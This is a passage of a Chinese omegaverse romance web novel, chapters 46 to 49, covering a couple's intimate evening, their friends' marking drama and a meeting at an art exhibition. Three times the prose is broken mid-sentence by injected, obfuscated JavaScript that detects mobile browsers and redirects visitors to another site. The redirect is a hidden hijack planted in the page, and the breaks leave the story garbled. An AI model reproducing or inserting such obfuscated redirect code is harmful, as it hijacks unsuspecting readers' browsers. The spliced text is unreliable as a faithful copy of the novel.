唇瓣被压住反复研磨,时绮在睡梦中呜呜啊啊挣扎,快要无法呼吸,被占据的窒息感令他终于睁开眼。 Omega腮边染上一片轻薄的嫣红,与平日不同,才睁开的双眼透出茫然而懵懂的神色。 像是小孩子。 “醒了?”商随亲昵地点点他的鼻尖,“你睡得好香。” 这道声音似有魔力,将时绮从残余的梦境拽出。 他对上Alpha明亮的眼瞳,这才注意到商随穿了一身正装。 裁剪利落的西装突出了身材优势,宽肩窄腰一览无遗。 在黑白二色映衬下,那张撩人的面庞显出不同于平日的冷淡,伴随倾身的动作,纯黑的领带垂落在时绮胸前。 即使衣着简洁,商随身上也有亮晶晶的首饰。耳坠和耳骨钉镶嵌白钻,抚摸时绮脸颊的手指戴了宽窄交错的排戒。 时绮不由得望着他出神。 “小绮是故意的吗?穿成这样躺在床上,还用这种眼神看我。” “什么?” 商随说得轻巧:“勾引我啊。” 时绮才刚醒来,猝不及防被扣上一口大锅:“我没有——” “嗯嗯,你没有,是我看什么都像勾引。”商随从善如流,“我天天都在想你,你稍微看我一眼,我魂都快飘了。” 他指节勾起,扯开系好的领带。 衬衫领口微微敞开,露出一小片锁骨处的纹身。时绮愣愣看向他,想问到底谁在勾引谁。 趁时绮不注意,商随轻轻抬起他的头。 夹在指缝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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时绮被他吻得晕晕乎乎,想到先前答应过商随考试结束要做的事,压在枕头上的手指不禁慢慢蜷缩。 叮咚、叮咚—— 毫无征兆的,门铃声突然响起。 持续不绝的声音令时绮张了张口,从意乱情迷中回过神:“有人找你。” 商随根本不想管,接吻间隙低语道:“让他等着。” 半天没等到回应,对方开始打电话。 商随的手机常年静音,只有屏幕亮起,其上显示江砚的名字。 时绮被领带蒙住双眼,不知道发生什么,但能感觉到商随动作一顿,随即低低骂了一句。 这是他第一次听见商随说脏话。 商随烦得要死,一想到好不容易等到时绮考完试,江砚这个衰人又给他找事—— 感觉商随伸手摸他的腰,似乎真的不太想搭理,时绮忍不住说:“他好像很急,你还是去开一下……唔!” 门铃声催命一样持续不绝。 见时绮惦记着门外那人,商随只能起身。 他离开前解开时绮脸上的领带,亲亲他潮红的脸,又从卧室衣柜里找好适合时绮穿的卫衣套装,这才去开门。 江砚站在门外,半天不见有动静。 他一连打了好几个电话都没得到回应。商随虽然不爱回消息,但一向是有电话就会接,江砚正迟疑不决,大门陡然从里拉开。 商随站在门边,单手握住门把,脸色阴郁望向他。 江砚被吓了一跳,只感觉面前这人犹如厉鬼,讪讪笑着打了个招呼: “那个,小随哥哥,晚上好啊。” 商随挑了一下眉。 江砚正想问自己是不是打扰到他睡觉,怎么看着怨气冲天。 “除非你有什么要紧事。比如沈千俞要强-奸你,你跑我这儿求救——” 商随不顾江砚骤然涨红的脸和结结巴巴的声音,冷声补完后半句:“不然别怪我不客气。” 47.戏弄 “不是,我……你、那个……!” 江砚憋了半天,眼看商随耐心即将告罄,从室内忽然传来一阵脚步声。 时绮穿着宽大的卫衣套装,从最里面的房间走了出来。 他身上的衣服是淡淡的奶油色,与他的发色十分相称。时绮看见一脸踌躇的Alpha,终于知道是谁在一直按门铃:“江砚?” 见他们堵在门口,时绮问:“你不进来吗?” 江砚心说我不是不想进,是你对象不让我进。 然而下一秒,商随热情好客道:“是呀,别杵门口,有什么事情进来说吧。” 江砚:“?” 不等他为商随变脸的功夫叹为观止,时绮注意到他后颈的位置有一块腺体贴:“你脖子怎么了?” 无论是Omega还是Alpha,这个部位都极其重要,别说受伤,平时碰都不会让人碰一下。 江砚吞吞吐吐:“呃,这个。” 商随先前没注意到他的脖子,此时略微抬眉:“你不会真被……?” 商随微微动了动鼻子,尽管江砚用了许多阻隔剂,但他还是闻到些许冷冽的愈创木气味。 是沈千俞的信息素气息。 商随这下真有些同情他,进到客厅,他给江砚倒了一杯水。 “说吧。”商随难得对他体贴,“必要的时候,我会帮你报警。” “我……” 江砚实在不知道这事该从何说起。时绮以为是自己在场不好开口,主动起身:“我去打会儿游戏,你们聊。” “不用不用!”江砚摆摆手,“其实不是什么大事,我就是被沈千俞咬了一下。” “标记一下还差不多。”商随凉飕飕补充。 时绮睁大眼睛,终于明白江砚脖子上的伤是怎么来的。 他试着想象那个场景,对比现在一身狼狈的江砚,竟是想亲眼看看现场。 江砚自暴自弃道:“我今天回家,一开门就看见沈千俞在里面,我没发现他易感期,然后就……就这样了。” 说到这里,江砚只感觉后颈被标记过的地方传来一阵灼烧般的热意。 时绮有些意外:“他能随便开你家门?” “嗯?怎么了?” 时绮见江砚不觉得奇怪,猜测可能他们关系好的Alpha都这样。 时绮点点头:“没什么,我跟商随也这样。” 商随在旁边笑了一声,心想时绮真是会举例,江砚这倒霉催的脸都红了。 江砚稍微平复好心情,继续道:“我找机会把沈千俞绑住,然后离开了家。但他看起来特别不正常,他……他还在我面前哭。” “我怕他出事,加上不知道怎么面对他,所以过来问问。” 时绮越听越不对:“他易感期,你从你家里离开?” “……” 江砚猝不及防被点醒,心说是啊!那是我家,该走的应该是沈千俞吧! 不等他理清楚其中关系,时绮面露同情:“你真惨。” 江砚脑子一抽,差点听成“你超爱”。 商随见时绮无意中直击痛点,三言两语把江砚说得面红耳赤,笑着揉揉时绮的脑袋:“真会说话。” 见江砚一直盯着自己,商随收起看热闹的神色,笑容也淡去:“你要是愿意,只要稍微放出消息,宁山的副院发疯咬了一个Alpha,以后谁敢把重要工作交给一个精神不稳定的医生?” “你给他找够麻烦,他不就没法找你了。” 江砚被他的办法慑住,半天才道:“大家这么多年朋友……” “让你和他断掉你又不乐意,找他麻烦你又不忍心,你这不是被他吃得死死的吗。”商随悠悠地说,“既然你舍不得沈千俞在你面前掉眼泪,建议你为他献身一下。” 江砚张了张口,正想说什么。 门铃突然响起。 江砚心有所感,两三步走到门边。 屏幕上那位俨然是他口中“哭唧唧”的Alpha。 对方衣着体面,戴着无框眼镜,看起来彬彬有礼,如果忽略脸上坚固的止咬器,丝毫不像身处易感期。 江砚见鬼一样注视屏幕上的画面,声音都在抖:“我不是把他绑起来了吗?我还捆了三圈!……不行,我得去躲一下!” 商随简单道:“衣帽间。” 想着商随和沈千俞单独聊可能更方便一些,时绮起身:“那我跟江砚一起。” 进到衣帽间,江砚抱着头不说话,仿佛一只闯祸的金毛,浑身散发出失魂落魄的气息。 时绮忍不住问:“你真的不喜欢沈千俞吗?” 如果不在乎,怎么会苦恼成这样? “我不知道。” 江砚对上时绮清澈的眼睛,仿佛在照镜子,不由自主喃喃道:“我之前以为沈千俞喜欢商随。他跟我表白那天,我震惊了好久。” “?” 时绮同样震惊:“为什么?” “我一直觉得他俩关系更好。可能沈千俞是商随的私人医生?他们像是有共同的秘密。” 江砚回忆道:“高中有一次雷雨夜,沈千俞做噩梦,我当时听见他在梦里叫商随的名字……他一直特别讨厌雷雨天。” 嗯? 时绮愣了愣。 这么巧,商随和沈千俞都讨厌雷雨天。 江砚回过神,意识到自己居然在时绮面前说胡话,连忙补救:“你别告诉商随啊,我上次被他骂了一顿,他让我去检查大脑,看看是不是从十岁起就停止发育了。” “要是知道我在你面前瞎说什么,我肯定得被他扫地出门。” 时绮不由得笑起来,在江砚紧张的目光里点头答应,又问:“商随脾气不是很好吗,为什么你们都觉得他不好相处?” “他脾气好?他是在你面前装乖吧。” 说到这里,江砚啧了一声:“你不知道,刚才你不在,他讲话粗鲁得跟什么似的。而且他压根不想让我进门。” “真的?” “真的。”见时绮饶有兴趣,江砚来了劲,“我跟你说,商随以前特别高冷,和现在就像两个人。” “现在除了在你面前,他有时候依旧不爱搭理人,不回消息是家常便饭……” 江砚噼里啪啦讲了许多事情,在他的描述里,商随的形象与时绮熟悉的那个人有几分相似,却又截然不同。 像是看见商随的另一面,时绮听得津津有味。 正在这时,有人敲敲门。 当事人的声音从外面传来:“江砚?沈千俞想和你谈谈,如果你不愿意,我就让他回去——” 商随边说边拉开门,里面原本正兴致勃勃聊天,乍一见到他,十分默契戛然而止。 注意到时绮唇角还挂着抑制不住的笑意,商随目光停顿:“聊什么呢,这么开心。” 时绮不好说我们在背后偷偷说你坏话,和江砚对视一眼,果断摇摇头。 商随表情瞬间冷淡,扭头对另一个人道:“喂,你把江砚带走。” 江砚:“?” 莫名其妙丧失选择权,江砚还来不及抗议,沈千俞进来抓住他的手腕,把他往外拽。 易感期令沈千俞的理智所剩无几,到现在不过是在强撑。见江砚和时绮说说笑笑,脑海中猝然划过前些日子对方受家里安排、和陌生Omega相亲的场景,当时江砚也和那个Omega聊个没完,看起来情投意合。 就是那天,他忍不住向江砚告白。 他紧紧攥住江砚的手腕,不顾对方的叫声,对商随道:“今天打扰了。” 商随皮笑肉不笑:“不打扰,你把他管好就行。” 时绮见沈千俞这架势跟强迫似的,硬生生把人拖出去,忍不住问:“江砚没事吧?” “你还有闲工夫担心他呢。” 商随幽幽说完,手指爬上时绮颈侧的肌肤,逼迫他看向自己:“宝宝,怎么能瞒着我和别人有秘密?” 他不轻不重捏了一把Omega的后颈,如同警告。 脆弱敏感的腺体被人握在手里,时绮动弹不得,不由自主想起江砚吐槽商随的性格阴晴不定,偶尔特别吓人。 下一瞬间,商随又耍赖一样凑上来:“终于走了,他俩烦得要死,快让我抱抱。” 时绮才听江砚说了他一堆坏话,知道自己理亏,心虚地一动不动。 商随的手扣住他细细的腰,在旁侧揉捏,如愿听见时绮呼吸一滞。 他撩起卫衣下摆,摸到里面那层丝质睡衣,不由得笑道:“怎么还穿了一件。” 像是觉得亲手给时绮脱衣服很有趣,商随兴致盎然。他曲起一条腿,膝盖压上沙发,高大挺拔的身躯覆盖在时绮身上。 衣帽间是U型衣柜布局,中央放有一组沙发,正对他们的方向恰好摆放一面落地镜。 时绮被压进沙发里,无意从镜中看见他细细啄吻自己的脸颊、而后慢慢下滑至颈侧。 Alpha尖锐的犬齿与他紧贴,力道加重,直到雪白的肌肤下陷,又轻轻吮吸。 不仅他的脖颈逐渐染上暧昧的红痕,商随的唇瓣也在摩挲中变得红艳,令人脸红心跳。 “之前被打断的事,我们继续吧。” 听见耳边流露欲望的声音,时绮脑子里倏忽掠过江砚的话:商随会在他面前装乖。 一旦意识到这种可能性,时绮心痒难耐,忍不住试探:“现在太晚了,要不明天再来?” Alpha动作停顿,定定看向他。 时绮故意道:“我好累,最近天天复习,脑子都快炸了。” 他边说边轻轻拍了拍商随的肩膀,装出困倦的模样:“有什么事明天再说,可以吗?” 时间接近凌晨,的确不算早。 商随在心里把江砚和沈千俞轮流骂了一遍,要不是他俩打扰,他至少已经把手指送里面了,到时候时绮哪还顾得上困不困。 但时绮乖乖让他抱着,小声说自己最近都没休息好,想和他一起睡觉、想要他的信息素陪伴,这副依赖人的模样又令商随舍不得逼他。 “好,”商随压了压火气,柔声答应,“那我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368091|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们睡觉。” 他最后亲了时绮一口,意犹未尽道:“我去洗澡,你先去床上。” 见他真的离开,时绮不禁扬起唇角,觉得商随还挺听话。 如此一来,捉弄人的心思完全止不住。 确认关系那晚他意识不清,都没看过商随脱光了是什么样,对方却把他看了个精光,怎么都得看回来吧? 想到这里,时绮在衣帽间等待半晌,估计时间差不多,踩着拖鞋朝浴室走去。 他直接推门而入,不顾里面那人的反应,干脆利落宣布:“我有东西落在浴室,进来找一下。” 他一边说,一边偷瞄商随。 浴室内水雾缭绕,一切显得朦胧柔和。身处其中的人抬眸看他,水珠打湿额发,那双明亮撩人的眼睛透出强烈的侵略性。 时绮越看越脸热,先前想好的恶作剧全部乱成一团浆糊,竟是下意识想逃跑。 商随眼神闪了闪,见时绮这副模样,很快意识到对方从头到尾都在耍他玩儿。 他放轻声音,仿佛蜘蛛织网:“小绮现在不累了?” 时绮稍不注意就上了钩:“不累,我很有精神。” 商随这回没跟他客气:“那就过来。” 时绮浑身一颤,肢体变得不听使唤。 他慢半拍反应过来,商随居然精神操控他。 仿佛接收到指令的小机器人,时绮一步一步往浴室深处走。他身上的卫衣套装先前都被商随脱掉,只剩下那件长及大腿的单薄睡衣,很快溅上水花。 身体不听使唤,只剩下眼睛可以乱瞟。 时绮的目光掠过Alpha充满爆发力的身躯,从宽阔平直的肩膀、结实的胸膛,再到紧实清晰的腰腹,而后向下…… 时绮愣愣看了许久,确定自己没眼花。 以往只在教科书上见过的画面兀然撞入眼中,远远超出印象里的平均值。 尽管先前有所准备,但都不如直观看见的冲击来得强烈。 在他呆滞的时候,商随离开花洒,走到时绮面前。 他湿漉漉的手指将遮挡住眼睛的头发往后撩,深刻的眉眼愈发清晰,而后伸手勾起时绮的下巴。 时绮在他指间闻到睡莲的气息,明明是无比清雅的沐浴露香味,却勾得时绮晕头转向。 商随突然问:“你要找什么东西?我帮你。” 浴室里雾蒙蒙的水声还没停止,时绮的心跳越来越快。 “找东西……?哦,对…我要找……” 他这才想起自己刚才随便找的借口,可大脑犹如被水雾锈蚀的机器,结结巴巴半天,竟无法随便编出一个借口。 时绮晕晕乎乎,抬头对上商随的脸。 亲一下。亲一下。 仿佛有一道蛊惑人心的声音在耳畔絮絮低语。 时绮再也不受控制,把迟迟想不出来的借口抛到脑后,他踮起脚,仰头触碰Alpha的唇。 双唇相触的瞬间,蜂蜜的甜味包裹感官,时绮不由得试探性舔了舔,却迟迟等不到商随有所动作。 明明是商随先精神操控他,怎么就剩他一个人在这里努力? 时绮不太满意咬了一口他的唇瓣,不明白他为什么不回应。 商随从头到尾一动不动,须臾过后,竟是冷不丁道:“我看你是找艹吧。” 时绮没想到他说话这么不讲究,一时间傻掉一般,涨红了脸憋不出一句话。 商随怎么……怎么突然这么说!他也没做什么啊? 商随见他模样可怜,反而弯起眼睛,先前冷淡强势的神色从脸上消失,笑得格外开心。 时绮回过神来,只觉得十分冤枉:“不是你精神操控我吗?又不是我想亲。” 仿佛听见什么好玩儿的事情,商随眼里笑意加深:“你以为我精神操控你?” “不然呢?” “没有哦,我刚才什么都没做。” 时绮愣在原地。 他看了又看,对上商随坦然的脸,直觉告诉他,对方并没撒谎。 那自己刚才一系列举动……? 时绮深觉丢人,扭头就想离开,商随却一把抓住他的胳膊。 新账旧账一起算,商随将他拖回来,拍拍Omega通红的脸,点破时绮自以为隐蔽的举动:“而且你一进来就朝哪儿看呢。” “……” “色猫。” 接连被商随戏弄,时绮恼羞成怒,破罐破摔道:“对,我就是想亲你,我不能亲?” “我看两眼怎么了,你全身上下哪里不是我的,我想干嘛就干嘛——” 不等他单方面宣布完,商随伸手绕过他的后腰,直接把他抱了起来。 隔着单薄的睡衣,能清晰感觉到另一个人的温度,时绮面红耳热,听见商随半强迫地逼问: “你到底想做什么?” 先前还气势汹汹的人仿佛被按下暂停键,时绮又一次不说话。 商随催促性地拍了拍他。 时绮绷直了腿,终于被迫坦率:“……想和你做之前的事。” 48.艺术展 商随醒来时,时绮还在睡。 一线稀薄的光芒从窗帘缝隙照入室内,落在时绮脸上,似乎在梦中感受到光源,时绮逃避似的往他怀里缩。 Omega身上散发出淡淡的铃兰香气,与沉睡的主人一样干净柔和,毛茸茸的白金色发丝泛着一圈光晕,连长长翘翘的睫毛也好似镀上金粉。 一醒来就被时绮依赖地贴住颈窝,商随不知不觉扬起唇角。 他一动不动看了时绮许久,心脏伴随对方每一次均匀微小的呼吸变得柔软,最后化成一滩水,被难以形容的幸福感填满。 这样亲密无间,是他过去从未奢求、连做梦都不敢想象的场景。 如果不是有约好的工作,他能一直默默看到时绮醒来。 先前进美院当助教,他不知道自己会在首都留多久,只签了一份临时合同,近期谢教授问他新一年是否有长期任职的打算。 让商随做助教实在大材小用,谢教授试探性地询问他是否有正式进入学校任职的意向,心里却知道美院留不住他,商随大概率是要走的。 果不其然,商随没有同意。 但想到时绮还有两年才从A大毕业,他婉拒入职邀请后,又问能否再当两年助教。谢教授喜出望外,让他今天上午过来办手续。 似乎生怕他后悔,明明还没到约定的时间,谢教授一直在发消息催促: [小随啊,你出门了没,到哪里了?] 谢教授和虞晚是多年好友,私下一直对他很亲切。 商随回复对方“稍后就到”,而后轻轻托住时绮的脸,自己则一点点往外挪。 时绮在睡梦中不满地嘟囔:“不要走……” 商随怔愣片刻,才确定他在说什么。本来已经快和时绮分开,又被一句话钉在原地。 他开始认真考虑临时放鸽子的可行性。理由或许可以是家里的猫太黏人,完全不舍得上班……? 想到这里,商随自娱自乐笑起来。 他轻手轻脚下床,又塞了个抱枕到时绮,知道后者听不见,依旧放软声音哄他:“乖,你多睡一会儿。” 进到卫浴间,他不由自主想到昨晚在这里发生的事情。 他们弄到后面,时绮似乎有些害怕,闹着喊不要,却又痴痴盯着他看,大而明亮的眼睛雾蒙蒙的。 他被看得浑身上下仿佛过电,跟进入也易感期差不多了。 他拿不准时绮究竟愿不愿意让他做到最后,只能选择忍下来,做了和先前差不多的事。 据说高匹配度的Alpha和Omega发生亲密关系,身体会自然而然记住那种滋味。即使是边缘行为,时间久了也会上瘾。 按理来说,特易期让他不受信息素影响,和时绮也并没做得太过火。 但身体仿佛食髓知味,时绮稍微给出一点反应,他就兴奋得找不着北。 商随心不在焉想着,脑海里不由自主浮现时绮躺在他怀里、绷紧腿颤抖的模样。 Omega的信息素如潮水一般溢出,情难自禁的声音支离破碎。 如果真的会上瘾…… 等时绮喜欢上这种感觉,彻底适应再说吧。 日上三竿,时绮终于慢慢悠悠睁开眼。 他精疲力竭,一觉睡得格外香甜。半梦半醒间下意识伸出手,身边却空空荡荡,只触摸到一只抱枕。 他慢半拍想起来,商随先前说过自己有事。 等彻底清醒过来,时绮起了床,进到卫浴间洗漱。 潺潺的水流落在盥洗台,洗脸洗到一半,他的脸颊却越来越热。 昨晚他被刺激到没有思考的力气,“要”和“不要”乱叫,商随似乎误解了他的意思,最后没再继续。 等时绮反应过来,不好意思主动再提。 但如果做到最后一步…… 也不是不行。 他喜欢亲吻和抚摸,本以为这样就算最舒服的事情,更深的接触却能带来截然不同的体验。同样令人上瘾。 时绮洗漱完,看见姜宥宁给他发了一条消息。 姜宥宁:[哈喽哈喽,你的快递放家里好久了。] 姜宥宁:[要我给你寄过来吗?] 时绮这才想起自己先前购买的套链,当时是想当作告白礼物送给商随,后来的一系列事情让他不小心忘记这茬。 时绮正想报地址,姜宥宁又道:[对了,我看见秦书赫转发的消息,他在给下周的美术展当志愿者?] 时绮想了想,好像确实有这么一回事。 [你嫂子也要去,这一次参展的作品好几幅来自于她喜欢的画家,那个S什么的。] 姜宥宁絮絮叨叨:[她看见的时候惊讶了好久,说对方只办个展,参加这类综合性的艺术节还是头一次。她最近因为师父去世最近心情不好,难得有她感兴趣的事情,我会陪她一起。] [你要过去玩吗?去的话我直接把你的快递带过来。] 时绮记得商随也要参加,先前他还见过对方在手机上远程确认灯光布置。 他想去看商随的画,很快同意。 17:[好,谢谢姐姐。] - 展览地点位于宁山湖畔的艺术中心,两座展馆分别代表“极昼”与“极夜”,中间有一段水下长廊作为纽带,象征日夜转换。 此次活动的发起方为国外知名的大型艺术节,同美院联合完成项目。开展第一天人潮涌动,慕名而来的参观者络绎不绝。 展厅内暖气充足,时绮扯了扯藏在衬衫下的珍珠饰链,有些不习惯。 他穿着后颈系带的荷叶边衬衫,露出一小片细腻如瓷的背部肌肤。背链从脖颈向下垂落,刚好能从后背镂空的位置看见一串大小不一的珍珠。 配上他浅色的头发,仿佛精灵从画里跑了出来。 一路上已经有好几个摄影师误以为时绮是来打卡的模特或博主,询问能否给他拍照,时绮一一拒绝。 偏偏把他打扮成这样的人今天一反常态低调,只穿着简单的白衬衫和阔腿裤。 出门之前,商随突然说想给他换衣服。时绮没多想,以为他最多找一件颜色花哨的卫衣,等对方从首饰柜里抽出珍珠背链,才隐隐觉得不对。 商随给他戴好繁复如蝶翼的背链,又慢慢调整至最合适的位置。 这个过程中,商随一直夸他好看,时绮被哄得迷迷糊糊,在左一个漂亮、右一个宝宝里迷失自我。 见商随为他挑选的衬衫也是白色,时绮没多想,穿上才发现后背很有心机地开了洞,正好把背链露出来。 兼职模特时不是没试过更夸张的服饰,但他私下鲜少穿成这样,仿佛下一秒就能去拍画报。 幸好艺术展上许多人精心打扮,他在其中也不算夸张。 又一次拒绝一位摄影,时绮终于忍不住:“你怎么不像平常一样打扮,你故意的吧?” “嗯,故意的。”商随牵着他的手,笑眯眯回答,“今天不是要见姐姐吗,我想了想,这样比较像个正经人,好给姐姐留下靠谱的印象。” 时绮心说有你这张脸在,这辈子都跟老实本分无缘,你还不如就做你自己。 转念一想,商随抛弃自己那堆花里胡哨的破烂俨然是拿出见面的最大诚意,时绮顺势思考,也想到一个注意事项: “提醒一下,你俩同龄,你叫她姐姐就显得很不正经。” 不料商随打量他须臾,注意力完全在另一件事上。 “这么说起来,”商随兴致盎然,“小绮,叫哥哥。” “……” 时绮假装没听见,拉着他往前走:“你的画在哪?” 商随却没打算放过他,故意站在原地一动不动。 见商随装聋作哑,时绮摩拳擦掌,正准备强行把他往前拖,一道声音忽然插了进来:“小随?” 时绮抬头,看见一位面容慈善、衣着得体的先生。 谢教授见商随和时绮举止亲密:“你旁边是……?” 商随收敛起玩闹的模样,向谢教授介绍:“是我男朋友,先前和您提过。” 时绮赶紧站好,心想幸好还没动手。 他礼貌地笑笑:“您好,我是时绮。” “你好你好,小时是吧?听他提过好多次了。”谢教授见他看起来格外乖巧,笑着补充,“你跟书赫也是好朋友,我知道的。” 谢教授面容和善,一上来就夸时绮的衣服好看,特别衬他的气质。把时绮说得都有几分不好意思。 末了,谢教授对商随道:“正好你在这,我给你介绍几个人。” 他乐呵呵地征求时绮的意见:“我把他借走一小会儿,你不介意吧?” 时绮摇摇头:“不介意,你们忙。” 离开前,商随低声对时绮说:“你先自己逛逛,我忙完过来找你。” 等他们走后,时绮沿长廊向前。 他所在的极昼展馆主要展品为装置艺术与绘画,一路走来,身边有特意来打卡的游客、摄影师,也有从事相关行业的观展人。 除了必要的社交场合,时绮鲜少来美术馆或画廊一类的地方。 林言家里是开美术馆的,秦书赫又学的油画专业,身边的朋友多多少少和这行有所接触,时绮过去却对此毫无兴趣。 直到商随出现,他才第一次觉得绘画绚烂多彩,仿佛能透过画家的笔触看见另一个世界。 不知道是商随太厉害,还是他纯粹偏心。 他一路走马观花,一直快到展馆的终点,才停下脚步。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15384296|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条长廊尽头摆放有三幅画作,显然来自于同一名画家。他的作品在馆内单独占据一处空间,纯白穹顶上的射灯巧妙连成光幕,配合隐藏在深蓝墙体内的灯带,仿佛从海底深处见到天光倾落。 大多数画家都使用真名,这位的署名却十分特殊,简洁的“Ss”,并排的英文字母像是一半蝴蝶的羽翼。 怎么和商随的微信名一模一样? 作品能在这种规格的活动中单独展览,应该是相当出名的人物。 他倒不是觉得商随配不上盛名,但如果真是商随,为什么会愿意在美院当一个普普通通的助教?而且平时也没听他提起过。 转念一想,自己好像也没问过。 时绮心里存疑,目光掠过墙上的画作。前面两幅分别绘制了雨中摇摇欲坠的人、山谷里的日出,画面如同末日一般孤寂,却又透出强烈的生命力,好似一簇骤然炸开的火焰。 这个风格…… 越看越和商随相似。 时绮的目光不知不觉落在最后一副画上。 相比另外两幅,这幅的色彩运用没那么大胆、线条也略显青涩,像是早期的作品,却依旧充斥着独特的明暗对比和戏剧般的氛围。 天使落在窗台,怪物躲藏在室内的拐角窥探。 天使周身沐浴在圣洁在光晕之中,“怪物”则是一团形状不规则的几何体,荧光色污血从它体内流出,即使隔着画布,都像能听见它刺耳的尖叫。 美丽与丑陋在同一场景呈现,构成两个极端。 “外界普遍认为怪物伺机吞吃天使,”熟悉的声音从后方传来,“小绮觉得呢,这幅画怎么样?” 时绮扭过头,看见商随出现在身后。 他走路经常没什么声音,时绮在家里被吓过好几次,已经快习惯他的神出鬼没。 时绮又一次将目光投向那幅画。 他明明对艺术类的东西了解甚少,心里却逐渐涌起一股酸涩难言的情绪。 他的想法与他人截然不同。时绮迟疑片刻,还是说出最真实的感受: “我觉得……他在小心翼翼仰望天使,就像见到了非常珍视的人。” 商随沉默许久,轻声道:“我很少听见这样的评价。” 不等时绮想明白这句话的意思,商随又问:“那你讨厌这幅画吗?” “不,”时绮说,“我很喜欢。” 好奇怪。 有那么一瞬间,他竟没由来地觉得这幅画该是属于他的东西。 听见他的回答,商随眼神闪烁,说不出心底是什么滋味。 明明先前跟沈千俞说得信誓旦旦,能在一起就很好、抓着过去不放没意思,可当合适的机会摆在眼前,他又忍不住不动声色试探。 他心里早有准备,见时绮对这幅画毫无印象,倒也谈不上太过失落。 况且时绮遗忘过去后还能准确猜中他的想法,令他内心生出奇妙的感受,仿佛他们有着心意相通的默契。但这点微薄的喜悦又很快被其他情绪替代。 各式各样的念头从脑海中掠过,意识到自己出神太久,时绮已经开始盯着他看,商随突然岔开话题:“你真的不叫吗,江砚都经常叫。” “什么?” “哥哥。” 时绮一愣,不知道自己算不算占了商随的便宜。 商随见时绮神情不自然,一想到他们明明做过更亲密的事情,时绮竟还会为一个称呼不好意思,不禁被勾起兴致。 他得寸进尺:“我做梦都想听你叫一声哥哥,要不我叫一声,你也叫一声?很公平吧。” 不等时绮反应过来,商随先一步甜甜蜜蜜地叫他:“哥哥——” 又一对情侣在这时进来。 姜宥宁和黎昭走在一起,猝不及防听见有人撒娇,看样子还是个Alpha,不由得皱起眉头。 都说艺术馆是谈恋爱的好地方,一路上她们见到好几对黏腻的情侣,还有莫名其妙抱在一起亲嘴抚摸的,公共场合,也不知道稍微收敛点儿。 想着这里放着黎昭心心念念那位画家的作品,姜宥宁还没看清楚人,忍不住先阴阳怪气:“知道人艺术家什么意思吗,能不能别满脑子哥哥弟弟的?” 这道气势汹汹的女声令时绮怔愣片刻,而后转过头。 商随有些迷惑,心说这不就是我画的?但他依旧维持着笑容。 姜宥宁根本没想过时绮会穿成这副样子,饶是觉得这人的背影和自家弟弟十分相似,见他转过身,不由自主睁大眼睛。 时绮率先打招呼:“姐姐。” “……” 想到自己当着她的面调戏时绮,商随安静片刻,觉得自己今天的白衬衫大概率白穿了。 他挂上笑容,假装无事发生:“姐姐好。” 49.情圣 话一出口,商随突然反应过来。 不对,他不该跟着叫。 果不其然,姜宥宁冷笑一声:“谁是你姐姐。” 时绮试图补救:“姐姐——” 一面对他,姜宥宁语气柔和:“小绮,你别管,这是我跟你男朋友的事。” 她说完转过脸,上下打量商随。 和时绮上次发的照片不同,今天看着稍微没那么花枝招展,但结合刚才一系列表现,给人的第一印象便是轻浮。 姜宥宁越看越不满:“你多大啊?” 商随犹豫报虚岁还是实岁,最后选择往小了报:“二十三。” “几月的?” “……三月。” “那你马上就二十四了?”姜宥宁毫不留情,“你年纪比我大。” 商随寻思现在如果叫一声妹妹,自己这辈子估计别想进时绮家的门。 他只能把这茬揭过去,客客气气地说:“不好意思,刚才说话没过脑子。” “你比我们小绮大三岁,”姜宥宁却没打算饶过他,“缠着人家叫哥哥,你不害臊啊?” “……” 时绮见商随说不出话来,上前一步,将人挡在自己身后:“我们闹着玩的。” 他灵机一动,把责任全部揽到自己身上:“其实是我逼他的,这都是我的癖好。” 商随感动道:“小绮……” 时绮很快进入状态:“没大没小,你该叫我什么?” 饶是商随,也不禁无言片刻:“……哥哥。” 姜宥宁:“?” 时绮勉强点点头,眼里却止不住漾开笑意。 能光明正大占商随的便宜,这样的机会可不多。 尽管时绮下一秒又恢复到没什么表情的模样,姜宥宁依旧敏锐捕捉到他的变化。 她实在了解他,看出这小子在偷乐,刚才那番话估计是在糊弄她。 “你给小绮挑的衣服?”姜宥宁看向商随,意味不明地说,“把我弟弟打扮成这样……” 商随怕自己又做错什么,只谨慎地点了点头。 姜宥宁却话锋一转:“你眼光很不错嘛。” 她两眼放光看向时绮,由衷赞叹:“宝宝你今天真漂亮,像个小手办!” 这个Alpha是轻浮了些,但时绮喜欢最重要。 她好多年没见时绮打扮得这么精致。他衣柜里那些黑白二色、简单利落的款式不是不合适,也很衬他的气质,可她还是希望时绮偶尔可以换换风格,要是能穿点儿彩色、漂漂亮亮就更好了。 她和时安说不动时绮,商随却能做到。 加上对方审美相当不错,凭这一点,她看商随就顺眼了许多。 姜宥宁越看越开心,忍不住揉揉时绮的头,想起小时候骗他穿裙子的幸福日子:“一会儿让你嫂子给你拍两张照片,小安爸爸看了肯定也会高兴的。” 